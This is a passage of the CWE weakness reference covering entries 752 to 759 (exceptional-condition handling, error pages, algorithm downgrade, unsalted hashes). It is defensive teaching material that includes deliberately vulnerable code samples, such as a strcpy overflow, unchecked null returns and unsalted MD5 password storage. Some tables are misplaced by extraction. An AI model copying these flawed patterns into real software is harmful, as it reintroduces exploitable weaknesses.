<td>Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)</td>
<td>750</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>750</td>
<td>Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
<td>750</td>
</tr>
</tbody>
</table>

References


CWE-752: 2009 Top 25 - Risky Resource Management

Category ID: 752 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.
CWE-753: 2009 Top 25 - Porous Defenses

CWE-753: 2009 Top 25 - Porous Defenses

Category ID: 753 (Category)  Status: Incomplete

Summary
Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.

Relationships

Nature  Type  ID  Name
ParentOf  73  External Control of File Name or Path  750 108
ParentOf  94  Improper Control of Generation of Code ('Code Injection')  750 173
ParentOf  119  Improper Restriction of Operations within the Bounds of a Memory Buffer  750 226
ParentOf  404  Improper Resource Shutdown or Release  750 700
ParentOf  426  Untrusted Search Path  750 731
ParentOf  494  Download of Code Without Integrity Check  750 837
ParentOf  642  External Control of Critical State Data  750 995
ParentOf  665  Improper Initialization  750 1029
ParentOf  682  Incorrect Calculation  750 1063
MemberOf  750  Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

References

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID: 754 (Weakness Class)  Status: Incomplete

Summary
The software does not check or improperly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

Extended Description
The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.
Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Implementation

**Languages**
- Language-independent

**Common Consequences**
- **Integrity**
- **Availability**
- **DoS: crash / exit / restart**
- **Unexpected state**
  
  The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.

**Likelihood of Exploit**
- Medium

**Detection Methods**

**Automated Static Analysis**
- **Moderate**
  
  Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

**Manual Dynamic Analysis**

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

**Demonstrative Examples**

**Example 1:**

Consider the following code segment:

**C Example:**

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

**Example 2:**

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

**C Example:**

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation
fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.

It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.

The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

**Example 3:**
The following examples read a file into a byte array.

**C# Example:**

```csharp
char[] byteArray = new char[1024];
for (IEnumerator i = users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray, 0, 1024); // the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

**Java Example:**

```java
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i = users.iterator(); i.hasNext(); i.next()) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from `Read()`. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

**Example 4:**
The following code does not check to see if the string returned by `getParameter()` is null before calling the member function `compareTo()`, potentially causing a NULL dereference.

**Java Example:**

```java
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
```

The following code does not check to see if the string returned by the `Item` property is null before calling the member function `Equals()`, potentially causing a NULL dereference.

**Java Example:**

```java
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value."
But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 5:**
The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

**Java Example:**

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 6:**
The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

**.NET Example:**

```
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

**Example 7:**
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:**

```
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);
/*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 8:**
In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

**C++ Example:**

```
int outputStringToFile(char *output, char *filename) {
```
However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

**C++ Example:**

```cpp
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    } else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        } else {
            int isClose = closeFile(filename);
            if (isClose == FAIL)
                isOutput = FAIL;
        }
    }
    return isOutput;
}
```

**Example 9:**

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

**Java Example:**

```java
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

**Java Example:**

```java
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw new NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```
Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2916</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2006-4447</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2007-3798</td>
<td>Unchecked return value leads to resultant integer overflow and code execution.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Implementation

High

Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Implementation

High

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

Architecture and Design
Implementation
If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Architecture and Design
Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

Background Details
Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
<td>1000</td>
</tr>
</tbody>
</table>
Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM32-CPP</td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR39-CPP</td>
<td>Guarantee exception safety</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM32-C</td>
<td>Detect and handle memory allocation errors</td>
</tr>
</tbody>
</table>

### References


### CWE-755: Improper Handling of Exceptional Conditions

#### Weakness ID: 755 (Weakness Class)

**Status:** Incomplete

**Description**

**Summary**

The software does not handle or incorrectly handles an exceptional condition.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- Language-independent

**Languages**

**Common Consequences**

- Other

**Likelihood of Exploit**

Low to Medium

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-4302</td>
<td>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td></td>
<td>1105</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td></td>
<td>1321</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td></td>
<td>1380</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td></td>
<td>397</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td></td>
<td>673</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td></td>
<td>681</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-756: Missing Custom Error Page

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☢️</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>1000</td>
<td>683</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢️</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
<td>1000</td>
<td>779</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢️</td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>1000</td>
<td>886</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢️</td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
<td>1000</td>
<td>985</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢️</td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>1000</td>
<td>1154</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR39-CPP</td>
<td>Guarantee exception safety</td>
</tr>
</tbody>
</table>

CWE-756: Missing Custom Error Page

Weakness ID: 756 (Weakness Class) Status: Incomplete

**Description**

**Summary**
The software does not return custom error pages to the user, possibly exposing sensitive information.

**Common Consequences**

Confidentiality
Read application data
Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

**Demonstrative Examples**

**Example 1:**
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

```java
Bad Code
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

**Example 2:**
An insecure ASP.NET application setting:

**ASP.NET Example:**

```xml
Bad Code
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

**ASP.NET Example:**

```xml
Good Code
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>☢️</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>1000</td>
<td>397</td>
</tr>
</tbody>
</table>
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

**Weakness ID:** 757 *(Weakness Class)*

**Status:** Incomplete

**Description**

**Summary**

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

**Extended Description**

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

**Common Consequences**

Access Control
Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1444</td>
<td>Telnet protocol implementation allows downgrade to weaker authentication and encryption using a man-in-the-middle attack.</td>
</tr>
<tr>
<td>CVE-2002-1646</td>
<td>SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.</td>
</tr>
<tr>
<td>CVE-2005-2969</td>
<td>Chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.</td>
</tr>
<tr>
<td>CVE-2006-4302</td>
<td>Attacker can select an older version of the software to exploit its vulnerabilities.</td>
</tr>
<tr>
<td>CVE-2006-4407</td>
<td>Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>388</td>
<td>Error Handling</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Relationship Notes**

This is related to CWE-300 (Man-in-the-Middle), although not all downgrade attacks necessarily require a man in the middle. See examples.

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>220</td>
<td>Client-Server Protocol Manipulation</td>
</tr>
<tr>
<td>606</td>
<td>Weakening of Cellular Encryption</td>
</tr>
<tr>
<td>620</td>
<td>Drop Encryption Level</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

**Weakness ID:** 758 (Weakness Class)  
**Status:** Incomplete

### Description

#### Summary

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

#### Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

### Common Consequences

- Other
- Other

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-1902</td>
<td>Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.</td>
</tr>
</tbody>
</table>

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬤</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬤</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬤</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬤</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
<td>1000</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC14-C</td>
<td>Do not introduce unnecessary platform dependencies</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC15-C</td>
<td>Do not depend on undefined behavior</td>
</tr>
</tbody>
</table>

---

CWE-759: Use of a One-Way Hash without a Salt

**Weakness ID:** 759 (Weakness Base)  
**Status:** Incomplete

### Description

#### Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

#### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

### Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.

Detection Methods
Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Bytecode Weakness Analysis - including disassembler + source code weakness analysis
    Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Focused Manual Spotcheck - Focused manual analysis of source
    Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer
    Configuration Checker

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Formal Methods / Correct-By-Construction
  Cost effective for partial coverage:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
In both of these examples, a user is logged in if their given password matches a stored password:

C Example:  
Bad Code

```c
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1", plaintext, strlen(plaintext), ...);
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```
Java Example:
```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password. Note this code also exhibits CWE-328 (Reversible One-Way Hash).

Example 2:
In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Python Example:
```python
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Python Example:
```python
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
